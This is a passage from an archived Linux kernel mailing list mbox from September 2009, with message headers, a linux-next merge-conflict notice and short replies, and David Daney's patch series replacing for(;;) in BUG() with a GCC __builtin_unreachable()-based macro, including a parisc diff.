> Thanks, that solves my problem.
> 
> Is it OK if I submit your patch to debian and upstream *again* and
> keep doing so until they apply the patches? >:)

gopher it.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: Re: linux-next: manual merge of the security-testing tree with the
 parisc tree
Date: Mon, 14 Sep 2009 15:35:32 +1000
Lines: 49
Approved: news@gmane.org
Message-ID: <20090914153532.2c06eeae.sfr@canb.auug.org.au>
References: <20090903154636.e70c50da.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Mon__14_Sep_2009_15_35_32_+1000_A1X+Em1Njn+jEyVK"
X-Trace: ger.gmane.org 1252906552 18328 80.91.229.12 (14 Sep 2009 05:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Sep 2009 05:35:52 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	James Morris <jmorris@namei.org>,
	<linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 14 07:35:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mn4E4-0001b0-9L
	for glpp-linux-parisc@lo.gmane.org; Mon, 14 Sep 2009 07:35:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751574AbZINFfj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Sep 2009 01:35:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751524AbZINFfj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 14 Sep 2009 01:35:39 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:34931 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750739AbZINFfi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Sep 2009 01:35:38 -0400
Original-Received: from canb.auug.org.au (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 7BA9C14501B;
	Mon, 14 Sep 2009 15:35:38 +1000 (EST)
In-Reply-To: <20090903154636.e70c50da.sfr@canb.auug.org.au>
X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.6; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2167 gmane.linux.kernel.next:9201 gmane.linux.kernel:888930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2167>

--Signature=_Mon__14_Sep_2009_15_35_32_+1000_A1X+Em1Njn+jEyVK
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

On Thu, 3 Sep 2009 15:46:36 +1000 Stephen Rothwell <sfr@canb.auug.org.au> w=
rote:
>
> Today's linux-next merge of the security-testing tree got conflicts in
> arch/parisc/include/asm/thread_info.h, arch/parisc/kernel/entry.S and
> arch/parisc/kernel/signal.c between commit 9f4259771faf1ffd99888796d925ad=
ae4c93630b ("parisc: add TIF_NOTIFY_RESUME and use tracehook_notify_resume"=
) from the parisc tree and
> commits d0420c83f39f79afb82010c2d2cafd150eef651b ("KEYS: Extend
> TIF_NOTIFY_RESUME to (almost) all architectures [try #6]") and
> ee18d64c1f632043a02e6f5ba5e045bb26a5465f ("KEYS: Add a keyctl to install
> a process's session keyring on its parent [try #6]") from the
> security-testing tree.
>=20
> Overlapping changes.  I fixed it up (using the parisc versions and adding
> the extra change from the latter security-testing patch) and can carry
> the fixes as necessary.

This conflict is now between the parisc tree and Linus' tree ...

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Mon__14_Sep_2009_15_35_32_+1000_A1X+Em1Njn+jEyVK
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEARECAAYFAkqt1iQACgkQjjKRsyhoI8z4xQCdFQ5cNfECXGyQR9dx8LqwGpdN
34sAn35mBi0c2Y1SsuCHuPt5oMvtJGew
=ODSE
-----END PGP SIGNATURE-----

--Signature=_Mon__14_Sep_2009_15_35_32_+1000_A1X+Em1Njn+jEyVK--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the security-testing tree with the
	parisc tree
Date: Mon, 14 Sep 2009 09:49:27 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20090914134927.GF19494@bombadil.infradead.org>
References: <20090903154636.e70c50da.sfr@canb.auug.org.au> <20090914153532.2c06eeae.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252936180 6250 80.91.229.12 (14 Sep 2009 13:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Sep 2009 13:49:40 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-next@vger.kernel.org,
	linux-kernel@vger.kernel.org, David Howells <dhowells@redhat.com>,
	James Morris <jmorris@namei.org>, linux-parisc@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Mon Sep 14 15:49:33 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MnBvv-00088q-6t
	for glkn-linux-next@lo.gmane.org; Mon, 14 Sep 2009 15:49:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752941AbZINNt0 (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 14 Sep 2009 09:49:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753030AbZINNt0
	(ORCPT <rfc822;linux-next-outgoing>);
	Mon, 14 Sep 2009 09:49:26 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54974 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752941AbZINNtZ (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Mon, 14 Sep 2009 09:49:25 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MnBvr-0006UQ-Rk; Mon, 14 Sep 2009 13:49:27 +0000
Content-Disposition: inline
In-Reply-To: <20090914153532.2c06eeae.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:9209 gmane.linux.kernel:889090 gmane.linux.ports.parisc:2168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2168>

On Mon, Sep 14, 2009 at 03:35:32PM +1000, Stephen Rothwell wrote:
> Hi Kyle,
> > Overlapping changes.  I fixed it up (using the parisc versions and adding
> > the extra change from the latter security-testing patch) and can carry
> > the fixes as necessary.
> 
> This conflict is now between the parisc tree and Linus' tree ...
> 

You don't say.

From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 01/10] Add support for GCC-4.5's __builtin_unreachable()
 	to compiler.h
Date: Mon, 14 Sep 2009 08:40:23 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <4AAE63E7.90909@caviumnetworks.com>
References: <4AA991C1.1050800@caviumnetworks.com>	 <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>	 <200909111633.00665.mb@bu3sch.de>	 <4AAA73A4.9010601@caviumnetworks.com> <10f740e80909120022m72ad5ea7t692fba93cd3114e9@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252942853 31747 80.91.229.12 (14 Sep 2009 15:40:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Sep 2009 15:40:53 +0000 (UTC)
Cc: Michael Buesch <mb@bu3sch.de>, linuxppc-dev@lists.ozlabs.org,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-mips@linux-mips.org,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-s390@vger.kernel.org,
	linux-am33-list@redhat.com, Helge Deller <deller@gmx.de>,
	x86@kernel.org, Ingo Molnar <mingo@redhat.com>,
	Mike Frysinger <vapier@gentoo.org>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	uclinux-dist-devel@blackfin.uclinux.org,
	Thomas Gleixner <tglx@linutronix.de>,
	Richard Henderson <rth@twiddle.net>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	ralf@linux-mips.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-alpha@vger.kernel.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	linux390@de.ibm.com,
	Koichi Y
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Sep 14 17:40:40 2009
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MnDfS-0005Dr-Lb
	for lnx-linux-alpha@lo.gmane.org; Mon, 14 Sep 2009 17:40:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755621AbZINPkd (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 14 Sep 2009 11:40:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755381AbZINPkd
	(ORCPT <rfc822;linux-alpha-outgoing>);
	Mon, 14 Sep 2009 11:40:33 -0400
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:16998 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752148AbZINPkc (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Mon, 14 Sep 2009 11:40:32 -0400
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aae63e50000>; Mon, 14 Sep 2009 08:40:21 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 14 Sep 2009 08:40:25 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 14 Sep 2009 08:40:24 -0700
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <10f740e80909120022m72ad5ea7t692fba93cd3114e9@mail.gmail.com>
X-OriginalArrivalTime: 14 Sep 2009 15:40:24.0988 (UTC) FILETIME=[AD5125C0:01CA3551]
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:604 gmane.linux.ports.ppc64.devel:59950 gmane.linux.ports.mips.general:25068 gmane.linux.hardware.blackfin.kernel.devel:2502 gmane.linux.ports.parisc:2169 gmane.linux.kernel:889143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2169>

Geert Uytterhoeven wrote:
> On Fri, Sep 11, 2009 at 17:58, David Daney<ddaney@caviumnetworks.com> wrote:
>> Michael Buesch wrote:
>>> On Friday 11 September 2009 01:56:42 David Daney wrote:
>>>> +/* Unreachable code */
>>>> +#ifndef unreachable
>>>> +# define unreachable() do { for (;;) ; } while (0)
>>>> +#endif
>>> # define unreachable() do { } while (1)
>>>
>>> ? :)
>> Clearly I was not thinking clearly when I wrote that part.  RTH noted the
>> same thing.  I will fix it.
> 
> However, people are so used to seeing the `do { } while (0)' idiom,
> that they might miss
> there's a `1' here, not a `0'.
> 
> So perhaps it's better to use plain `for (;;)' for infinite loops?
> 

I don't think so.  The only valid token that can follow 'do { } while 
(1)' is ';', any statement may follow 'for (;;)', so there is a greater 
possibility to silently screw things up with the for(;;) form.

David Daney

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 00/11] Add support for GCC's __builtin_unreachable() and use
 it in BUG (v2).
Date: Mon, 14 Sep 2009 14:50:58 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <4AAEBAC2.1050905@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252965103 16114 80.91.229.12 (14 Sep 2009 21:51:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Sep 2009 21:51:43 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
	ralf@linux-mips.org, linux-mips@linux-mips.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux390@de.ibm.com, linux-s390@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	linux-am33-list@redhat.com, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>, linuxppc-dev@ozlabs.org,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	linux-alpha@vger.kernel.org,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Mike Frysinger <vapier@gentoo.org>,
	uclinux-dist-devel@blackfin.uclinux.org,
	Linux Kernel Maili
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Sep 14 23:51:31 2009
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MnJSM-0003xV-60
	for lnx-linux-alpha@lo.gmane.org; Mon, 14 Sep 2009 23:51:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757289AbZINVvR (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 14 Sep 2009 17:51:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757291AbZINVvR
	(ORCPT <rfc822;linux-alpha-outgoing>);
	Mon, 14 Sep 2009 17:51:17 -0400
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:9298 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755780AbZINVvO (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Mon, 14 Sep 2009 17:51:14 -0400
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aaebac20000>; Mon, 14 Sep 2009 14:50:58 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 14 Sep 2009 14:50:59 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 14 Sep 2009 14:50:59 -0700
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-OriginalArrivalTime: 14 Sep 2009 21:50:59.0414 (UTC) FILETIME=[72114F60:01CA3585]
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:605 gmane.linux.ports.mips.general:25069 gmane.linux.ports.parisc:2170 gmane.linux.ports.ppc64.devel:59966 gmane.linux.hardware.blackfin.kernel.devel:2581 gmane.linux.kernel:889406 gmane.linux.kernel.cross-arch:4395
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2170>

When I sent the first version, I had not realized that Roland McGrath
had only a day or two earlier submitted a very similar patch (although
one that only fixed up the x86 case).

I have been working on this quite a while now, starting with adding
the required support to GCC, so with an eye towards finishing it up I
have this new version.

 From the announcement of the first version:

Starting with version 4.5, GCC has a new built-in function called
__builtin_unreachable().  The function tells the compiler that control
flow will never reach that point.  Currently we trick the compiler by
putting in for(;;); but this has the disadvantage that extra code is
emitted for an endless loop.  For an i386 kernel using
__builtin_unreachable() results in an defaultconfig that is nearly 4000
bytes smaller.

This patch set adds support to compiler.h creating a
new macro usable in the kernel called unreachable().  If the compiler
lacks __builtin_unreachable(), it just expands to for(;;).

The x86 and MIPS patches I actually tested with a GCC-4.5 snapshot.
Lacking the ability to test the rest of the architectures, I just did
what seemed right without even trying to compile the kernel.

For version 2:

I fixed a couple of checkpatch issues, and simplified the
unreachable() macro for the pre-GCC-4.5 case (as suggested by Richard
Henderson).  Also several Acked-by: were added.

New in this version (as suggested by Ingo Molnar) I added 11/11 which
uses unreachable() in asm-generic/bug.h for !CONFIG_BUG case.  This
one may be a little controversial as it will end up making code
slightly larger when !CONFIG_BUG and you are using a pre-GCC-4.5
compiler.

I will reply with the 11 patches.

David Daney (11):
   Add support for GCC-4.5's __builtin_unreachable() to compiler.h (v2)
   x86: Convert BUG() to use unreachable()
   MIPS: Convert BUG() to use unreachable()
   s390: Convert BUG() to use unreachable()
   mn10300: Convert BUG() to use unreachable()
   parisc: Convert BUG() to use unreachable()
   powerpc: Convert BUG() to use unreachable()
   alpha: Convert BUG() to use unreachable()
   avr32: Convert BUG() to use unreachable()
   blackfin: Convert BUG() to use unreachable()
   Use unreachable() in asm-generic/bug.h for !CONFIG_BUG case.

  arch/alpha/include/asm/bug.h    |    3 ++-
  arch/avr32/include/asm/bug.h    |    2 +-
  arch/blackfin/include/asm/bug.h |    2 +-
  arch/mips/include/asm/bug.h     |    4 +---
  arch/mn10300/include/asm/bug.h  |    3 ++-
  arch/parisc/include/asm/bug.h   |    4 ++--
  arch/powerpc/include/asm/bug.h  |    2 +-
  arch/s390/include/asm/bug.h     |    2 +-
  arch/x86/include/asm/bug.h      |    4 ++--
  include/asm-generic/bug.h       |    4 ++--
  include/linux/compiler-gcc4.h   |   14 ++++++++++++++
  include/linux/compiler.h        |    5 +++++
  12 files changed, 34 insertions(+), 15 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 06/11] parisc: Convert BUG() to use unreachable()
Date: Mon, 14 Sep 2009 14:55:35 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1252965340-31735-6-git-send-email-ddaney@caviumnetworks.com>
References: <4AAEBAC2.1050905@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252965533 17253 80.91.229.12 (14 Sep 2009 21:58:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Sep 2009 21:58:53 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	David Daney <ddaney@caviumnetworks.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Mon Sep 14 23:58:45 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MnJZL-00061L-Sy
	for glka-linux-arch@lo.gmane.org; Mon, 14 Sep 2009 23:58:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932354AbZINV5M (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 14 Sep 2009 17:57:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932347AbZINV5M
	(ORCPT <rfc822;linux-arch-outgoing>);
	Mon, 14 Sep 2009 17:57:12 -0400
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:9421 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757313AbZINV4C (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 14 Sep 2009 17:56:02 -0400
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aaebbee000a>; Mon, 14 Sep 2009 14:55:58 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 14 Sep 2009 14:56:01 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 14 Sep 2009 14:56:01 -0700
Original-Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1])
	by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n8ELtpIk031781;
	Mon, 14 Sep 2009 14:55:51 -0700
Original-Received: (from ddaney@localhost)
	by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n8ELtoP0031780;
	Mon, 14 Sep 2009 14:55:50 -0700
X-Mailer: git-send-email 1.6.0.6
In-Reply-To: <4AAEBAC2.1050905@caviumnetworks.com>
X-OriginalArrivalTime: 14 Sep 2009 21:56:01.0387 (UTC) FILETIME=[260EBBB0:01CA3586]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4403 gmane.linux.kernel:889416 gmane.linux.ports.parisc:2171
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2171>

Use the new unreachable() macro instead of for(;;);

Signed-off-by: David Daney <ddaney@caviumnetworks.com>
CC: Kyle McMartin <kyle@mcmartin.ca>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/bug.h |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 8cfc553..75e46c5 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -32,14 +32,14 @@
 			     "\t.popsection"				\
 			     : : "i" (__FILE__), "i" (__LINE__),	\
 			     "i" (0), "i" (sizeof(struct bug_entry)) ); \
-		for(;;) ;						\
+		unreachable();						\
 	} while(0)
 
 #else
 #define BUG()								\
 	do {								\
 		asm volatile(PARISC_BUG_BREAK_ASM : : );		\
-		for(;;) ;						\
+		unreachable();						\
 	} while(0)
 #endif
 
-- 
1.6.2.5


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Working debian package for strace 4.5.18-1
Date: Thu, 17 Sep 2009 11:51:22 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440909170851w4f6759e5t9eb402da2814e8da@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1253202707 20842 80.91.229.12 (17 Sep 2009 15:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 15:51:47 +0000 (UTC)
To: Debian HPPA Port List <debian-hppa@lists.debian.org>, 
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Thu Sep 17 17:51:38 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoJGk-0001gk-PB
	for debian-hppa@m.gmane.org; Thu, 17 Sep 2009 17:51:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 7ACC32D0DF8; Thu, 17 Sep 2009 15:51:38 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-8.0 required=4.0 tests=FVGT_m_MULTI_ODD,
	IMPRONONCABLE_2,LDO_WHITELIST,MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2,
	PGPSIGNATURE,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id D5F6C13A656F
	for <lists-debian-hppa@liszt.debian.org>; Thu, 17 Sep 2009 15:51:31 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-10.043 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FVGT_m_MULTI_ODD=0.02, IMPRONONCABLE_2=1,
	LDO_WHITELIST=-5, MURPHY_WRONG_WORD1=0.1, MURPHY_WRONG_WORD2=0.2,
